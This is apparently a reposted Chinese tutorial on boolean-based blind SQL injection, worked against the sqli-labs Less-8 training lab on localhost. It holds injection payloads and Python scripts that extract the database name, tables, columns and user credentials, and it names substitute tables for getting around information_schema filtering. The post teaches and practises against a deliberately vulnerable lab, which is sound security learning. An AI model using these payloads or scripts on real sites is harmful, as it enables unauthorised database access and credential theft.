SQL布尔盲注

news2024/12/23 16:44:03

目录

1 布尔盲注

2布尔盲注流程

2.1输入id进行测试

 2.2判断注入类型

2.3爆数据库名

2.4爆表名

2.5爆字段名

 2.6查询数据


1 布尔盲注

布尔盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面,如果正确执行了构造的SQL语句,则返回一种页面,如果错误,则执行另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的。

2布尔盲注流程

2.1输入id进行测试

输入?id=1,发现页面回显You are in..........

输入?id=1',发现页面无显示

此时,联想到正确错误两个页面,采用布尔盲注

 2.2判断注入类型

1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

2.?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

 根据结果可判断为字符型注入

2.3爆数据库名

如何获取数据库呢?可以通过截取字符串的方式进行获取。substr(string, start, length) 截取字符串,这个函数的意思简单来说,截取一个字符串从'start'位,可以是第1位,第2位。。。。每次截取'length'个字符。然后使用ascii()函数。其作用是将字符转换成对应的ascii值。

?id=1' and ascii(substr(database(),1,1))=97--+

如果数据库名的第一个字符的ascii码值等于97,则页面显示正确的页面,如果数据库名的第一个字符的ascii码值不等于97,则页面显示错误的页面

页面无显示说明数据库名的第一个字符的ascii码值不等于97

我们可以编写一个简单的python脚本就可以爆破出数据库名

import time

import requests

url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        for j in range(32, 129):
            payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
            res = {"id": payload}
            r = requests.get(url, params=res)
            if "You are in..........." in r.text:
                name = name + chr(j)
                print(name)
                break
            else:
                continue

inject_database(url)

根据运行结果得出数据库名为'security' 

2.4爆表名

使用count() 函数进行获取表的数量

1' and (select count(table_name) from information_schema.tables where table_schema='security')=2--+

1' and (select count(table_name) from information_schema.tables where table_schema='security')=4--+

可以看出security下有四张表,然后进行爆表名

1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101--+

 mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包括了 库名,表名,列名。

在注入时,information_schema库的作用就是获取 table_schema table_name, column_name .

这些数据库内的信息。如果information_schema库被过滤掉,还可以尝试使用下述库来代替

 sys.schema_auto_increment_columns 

sys.schema_table_statistics_with_buffer

mysql.innodb_table_stats

mysql.innodb_table_index

然后编写一个简单的python脚本就可以爆破出所有的表名

import requests

url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'


def boolean_blind_inject(url):
    name = ''
    for i in range(1, 50):
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            # 构造布尔盲注的payload
            payload ="1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))> %d-- " %(i, mid)
            params = {'id': payload}  # 使用 params 而不是 data

            # 发送 GET 请求
            r = requests.get(url, params=params)

            # 根据页面内容或状态码判断是否注入成功
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾
            break
        name += chr(mid)
        print(name)

# 调用函数
boolean_blind_inject(url)

上述代码采用二分法提高效率 

根据运行结果得出表名为emails,referers,uagents,users

2.5爆字段名

根据表名知道可能用户的账户和密码是在users表中,接下来我们就是得到该表下的字段名以及内容。

同样使用python脚本来爆破出字段名,只需将刚才的python脚本中的payload变换一下

import requests

url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'


def boolean_blind_inject(url):
    name = ''
    for i in range(1, 50):
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            # 构造布尔盲注的payload
            payload ="1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))> %d-- " %(i, mid)
            params = {'id': payload}  # 使用 params 而不是 data

            # 发送 GET 请求
            r = requests.get(url, params=params)

            # 根据页面内容或状态码判断是否注入成功
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾
            break
        name += chr(mid)
        print(name)

# 调用函数
boolean_blind_inject(url)

根据运行结果得出字段名为id,username,password

 2.6查询数据

import requests

url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'


def boolean_blind_inject(url):
    name = ''
    for i in range(1, 200):
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            # 构造布尔盲注的payload
            payload ="1' and ascii(substr((select group_concat(username,id,password) from users),%d,1))> %d-- " %(i, mid)
            params = {'id': payload}  # 使用 params 而不是 data

            # 发送 GET 请求
            r = requests.get(url, params=params)

            # 根据页面内容或状态码判断是否注入成功
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾
            break
        name += chr(mid)
        print(name)

# 调用函数
boolean_blind_inject(url)

这样我们就爆出各个用户的账号密码了,本次手布尔盲注到此结束,如果不会写python脚本也可以使用BurpSuite工具来破解数据,感兴趣的同学可以自行搜索相关资料学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1988318.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

连接一切:Web3如何重塑物联网的未来

传统物联网的挑战 物联网&#xff08;IoT&#xff09;正在迅速改变我们的世界&#xff0c;通过将各种设备连接到互联网&#xff0c;它使得设备能够相互交流&#xff0c;提供智能化的服务和解决方案。然而&#xff0c;随着物联网的迅猛发展&#xff0c;安全性、隐私保护和设备互…

C++ primer plus 第17 章 输入、输出和文件:文件输入和输出05:文件模式:内核格式化

C primer plus 第17 章 输入、输出和文件&#xff1a;文件输入和输出05:文件模式:内核格式化 C primer plus 第17 章 输入、输出和文件&#xff1a;文件输入和输出05:文件模式:内核格式化 17.5 内核格式化 程序清单 17.21 strout.cpp 文章目录 C primer plus 第17 章 输入、输…

第41届CCF

第41届CCF中国数据库学术会议 NDBC2024中国乌鲁木齐 《电信领域数据库新需求与挑战》分论坛介绍 2024年08月09日上午09:00-12:30 电信领域进入算力网络时代,数据库国产化需求迫切,对数据库可用性、扩展性、一体化、多模、跨域传输和调度等提出新的要求。基于此,本论坛重点讨…

UE5 右键菜单缺少Generate Visual Studio project files

前言 在安装完毕 ue5 后&#xff0c;看到别人右键菜单有 多出来的三个选项 &#xff0c;但是我却没有&#xff0c;如下图&#xff1a; 解决方式 1、在 “C:\Program Files (x86)\Epic Games\Launcher\Engine\Binaries\Win64” 路径下有 UnrealVersionSelector.exe 文件。 …

fme从json中提取位置到kml中

fme从json中提取位置到kml中 简单参考,我自己要用的,越弄越复杂。 概述-模板总体结构 数据就是官方提供的数据,模板的基本节结构是读模块+转换器+写模块,最近爬取一些json文件,用到了。 1.使用json读模块读取数据 首先检查一下源数据 使用文本打开数据集,可以看到非缩…

压电雨量传感器的工作原理

型号推荐&#xff1a;云境天合TH-Y1】压电动能式雨量计通过雨滴撞击传感器产生的微小形变&#xff0c;将机械能转化为电能。这种转化过程基于压电效应&#xff0c;即某些材料在受到压力作用时会产生电荷&#xff0c;从而产生电信号。雨滴撞击传感器时&#xff0c;传感器发生形变…

写给大模型新人的经验,刷到少走三年弯路!

这篇文章&#xff0c;我将结合自己在大模型领域的经验&#xff0c;给大家详细聊聊新人应该如何转行大模型赛道&#xff1f; 比如大模型都有哪些方向&#xff1f;各方向的能力要求和岗位匹配&#xff1f;新手转行大模型常踩的坑和常见的误区&#xff1f;以及入行大模型最顺滑的…

扩散模型系列笔记(一)——DDPM

直观理解 扩散模型分为前向过程&#xff08;扩散过程&#xff0c;Data → \to →Noise&#xff09;和后向过程&#xff08;生成过程或逆扩散过程&#xff0c;Noise → \to →Data&#xff09;。在前向过程中&#xff0c;对于每一个观测样本&#xff0c;不断向样本中添加少量噪…

智能编程新纪元:腾讯AI代码助手的高效编程体验

智能编程新纪元&#xff1a;腾讯AI代码助手的高效编程体验 智能编程新纪元&#xff1a;腾讯AI代码助手的高效编程体验引言一、配置开发环境二、AI助手实现高效编程2.1 AI助手自动补全2.2 AI助手实现编程思维2.3 AI助手高效注解2.4 AI助手打破语言壁垒 三、帮助和提升四、优化和…

【CSS入门】第一课 - CSS内容都可以写在哪里?

从这一小节开始&#xff0c;我们开始学习CSS的内容。之前都是学习的HTML标签&#xff0c;还用几节课的时间做了纯HTML标签的实战。 但是只用纯HTML标签做出来的东西呢&#xff0c;不是那么好看&#xff0c;而且你看那么多网站&#xff0c;没有哪个网站只用纯HTML标签做东西的&…

游戏加速器推荐

游戏加速器推荐&#xff0c;玩游戏用什么加速器&#xff01;我得给你推荐一款我常用的。 首先呢&#xff0c;就是深度加速器&#xff0c;它针对目前手游网游的游戏加速效果特别棒&#xff0c;而且界面也很友好。 另外&#xff0c;还有深度加速器&#xff0c;这款加速器不仅支持…

springboot青少年科普平台-计算机毕业设计源码76194

摘 要 对于搭建一个青少年科普平台&#xff0c;您可以考虑使用Spring Boot作为后端框架。Spring Boot是一个能够简化Spring应用开发的框架&#xff0c;能够帮助您快速搭建稳定、高效的后端服务。您可以利用Spring Boot的特性来构建一个可靠的数据服务&#xff0c;用于展示和传播…

为什么稳定的开关电源仍可能振荡

开关模式调节器 开关模式调节器的功能是尽可能高效地将输入电压转换为稳定的恒定输出电压。 此过程会有一些损失&#xff0c;其效率可衡量为 ηPOUTPIN?PINPOUTη→VINIIN(1)VOUTIOUTη?IINVOUTIOUTη/VIN 图 1. 输入电流与输入电压的关系。 图 2. 添加了 12 V 处的切线。…

C++-类与对象基础

一&#xff0c;类的定义 1.1类定义格式 class为定义类的关键字&#xff0c;Stack为类的名字&#xff0c;{}中为类的主体&#xff0c;注意类定义结束时后面分号不能省略。类体中内容称为mian类的成员&#xff1a;类中的变量称为类的属性或成员变量; 类中的函数称为类的方法或者…

【麒麟】多种方法修改MAC地址

原文链接&#xff1a;【麒麟】多种方法修改MAC地址 Hello&#xff0c;大家好啊&#xff01;今天给大家带来一篇关于在麒麟桌面操作系统上多种方法修改MAC地址的文章。MAC地址是网络接口卡的物理地址&#xff0c;有时我们需要修改它以实现特定的网络配置需求。本文将详细介绍几种…

VS2022中打印中文乱码

我们在使用VS编写C语言代码的时候&#xff0c;我们可能遇见用printf打印中文出现乱码的情况&#xff0c;如下&#xff1a; 下面我们来讲一下怎么解决这种问题&#xff1a; 出现这种现象是因为你使用的编码设置不对&#xff1b; 1.我们首先打开文件标签&#xff0c;看看是否有…

为什么我要从测试经理转行到产品经理?

本文来聊一下我转产品经理的心路历程。 我从大学毕业做的就是软件测试&#xff0c;简单点说就是把别人设计的产品别人码的代码 我们或手工或自动化 的方式检查是否有逻辑问题&#xff0c;是否符合需求设计。某一天我突然对自己的工作不那么热爱&#xff0c;难道一辈子就干这个…

C4D学习笔记

C4D学习笔记 技巧使用对称面的两边会有问题&#xff0c;很生硬洗面奶瓶盖凹槽洗面奶瓶子尾部接缝 常用功能在一个线创建一个平面在圆面内家一圈线&#xff08;KL循环切割&#xff09;在某个面向内加一圈线某个模式切换&#xff0c;选中所有(按着Ctrl键&#xff09;焊接&#xf…

Apache OFBiz系统ProgramExport接口存在远程命令执行漏洞CVE-2024-38856 附POC

@[toc] 免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 1. Apache OFBiz系统简介 微信公众号搜索:南…

8月6日笔记

8月6日 红日靶场打靶继续 SHOW VARIABLES #用于显示服务器运行时的各种系统变量的当前设置。这些变量可以控制服务器的行为在 MySQL 中&#xff0c;general_log 和 general_log_file 是两个与“general”相关的系统变量&#xff0c;它们控制着服务器是否启用一般查询日志以及…